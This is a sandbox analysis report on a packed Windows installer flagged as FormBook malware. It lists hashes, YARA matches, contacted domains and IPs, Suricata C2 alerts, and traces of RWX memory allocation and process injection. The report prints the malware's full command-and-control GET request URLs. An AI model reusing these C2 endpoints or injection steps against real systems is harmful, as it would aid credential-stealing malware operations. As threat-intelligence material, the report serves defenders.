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macwelter2.1.exe

NSIS UPX Malicious Library PE32 PE File
  1. Resubmit sample
Category Machine Started Completed
FILE s1_win7_x6403_us Oct. 17, 2023, 7:41 a.m. Oct. 17, 2023, 7:46 a.m.
Size 379.8KB
Type PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
MD5 5dc9185191d639c955367a880101e252
SHA256 a38cf104fcc3366e6bcd8c6f947b0c6fe7ee30728a2e72b45e96e9b4b0dac384
CRC32 17EA6FAB
ssdeep 6144:KfL+oq2XMMNBWX5b8rsUclvLNlhsTuXTN+Cfl0mF4Bct6cZ5JPVMyd47LGDaDY8f:KfLRrNBWJgEltsTuDN+Y5+Baj9VPd4WS
Yara
  • Malicious_Library_Zero - Malicious_Library
  • UPX_Zero - UPX packed file
  • PE_Header_Zero - PE File Signature
  • NSIS_Installer - Null Soft Installer
  • IsPE32 - (no description)

Name Response Post-Analysis Lookup
www.zeropointenergyhvac.com
CNAME zeropointenergyhvac.com
A 15.197.148.33
A 3.33.130.190
15.197.148.33
www.domumix.com
CNAME shops.myshopify.com
A 23.227.38.74
23.227.38.74
www.ssongg13026.cfd
A 101.32.68.183
101.32.68.183
www.tugerdi.site
A 93.89.226.17
CNAME tugerdi.site
93.89.226.17
IP Address Status Action
101.32.68.183 Active Moloch
15.197.148.33 Active Moloch
164.124.101.2 Active Moloch
23.227.38.74 Active Moloch
93.89.226.17 Active Moloch

Suricata Alerts

Flow SID Signature Category
TCP 192.168.56.103:49169 -> 101.32.68.183:80 2031412 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.103:49170 -> 15.197.148.33:80 2031412 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.103:49171 -> 23.227.38.74:80 2031412 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.103:49168 -> 93.89.226.17:80 2031412 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected

Suricata TLS

No Suricata TLS

Time & API Arguments Status Return Repeated

GlobalMemoryStatusEx

 1 1 0
section .ndata
suspicious_features GET method with no useragent header suspicious_request GET http://www.ssongg13026.cfd/t6tg/?jDKP8=Nmqux/666XlLtJ3WEKzUk3EHj+ftlkJxJixPq7eQ/k8b2WLLehoT1axEI2nKmBLwOwlBSnRz&8p0=IbtHbJ
suspicious_features GET method with no useragent header suspicious_request GET http://www.zeropointenergyhvac.com/t6tg/?jDKP8=vAEcViLLfRnXrvGHJGOy3S0oM5KgJr+WLGiVWET49+NKpGPyCcxnbWSVNLBpcRBJoM/m8+js&8p0=IbtHbJ
suspicious_features GET method with no useragent header suspicious_request GET http://www.domumix.com/t6tg/?jDKP8=NCr4hxvH2ezd5PnFQvFe4UNVT4u8oc6t8Rf/c3KW26/rudMQ46jCsaNfWBhm2pOWUClrv1g3&8p0=IbtHbJ
request GET http://www.ssongg13026.cfd/t6tg/?jDKP8=Nmqux/666XlLtJ3WEKzUk3EHj+ftlkJxJixPq7eQ/k8b2WLLehoT1axEI2nKmBLwOwlBSnRz&8p0=IbtHbJ
request GET http://www.zeropointenergyhvac.com/t6tg/?jDKP8=vAEcViLLfRnXrvGHJGOy3S0oM5KgJr+WLGiVWET49+NKpGPyCcxnbWSVNLBpcRBJoM/m8+js&8p0=IbtHbJ
request GET http://www.domumix.com/t6tg/?jDKP8=NCr4hxvH2ezd5PnFQvFe4UNVT4u8oc6t8Rf/c3KW26/rudMQ46jCsaNfWBhm2pOWUClrv1g3&8p0=IbtHbJ
Time & API Arguments Status Return Repeated

NtAllocateVirtualMemory

 process_identifier: 2164
region_size: 8192
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00480000
allocation_type: 12288 (MEM_COMMIT|MEM_RESERVE)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2164
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00690000
allocation_type: 12289 (MEM_COMMIT|MEM_RESERVE)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2228
region_size: 3158016
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00810000
allocation_type: 12288 (MEM_COMMIT|MEM_RESERVE)
process_handle: 0xffffffff
1 0 0
file C:\Users\test22\AppData\Local\Temp\dcundy.exe
section {u'size_of_data': u'0x0000d000', u'virtual_address': u'0x00045000', u'entropy': 6.908730984606675, u'name': u'.rsrc', u'virtual_size': u'0x0000cf48'} entropy 6.90873098461 description A section with a high entropy has been found
entropy 0.608187134503 description Overall entropy of this PE file is high
Time & API Arguments Status Return Repeated

LookupPrivilegeValueW

 system_name:
privilege_name: SeDebugPrivilege
1 1 0
Process injection Process 2164 called NtSetContextThread to modify thread in remote process 2228
Time & API Arguments Status Return Repeated

NtSetContextThread

 registers.eip: 2005598660
registers.esp: 1638384
registers.edi: 0
registers.eax: 4321408
registers.ebp: 0
registers.edx: 0
registers.ebx: 2130567168
registers.esi: 0
registers.ecx: 0
thread_handle: 0x0000010c
process_identifier: 2228
1 0 0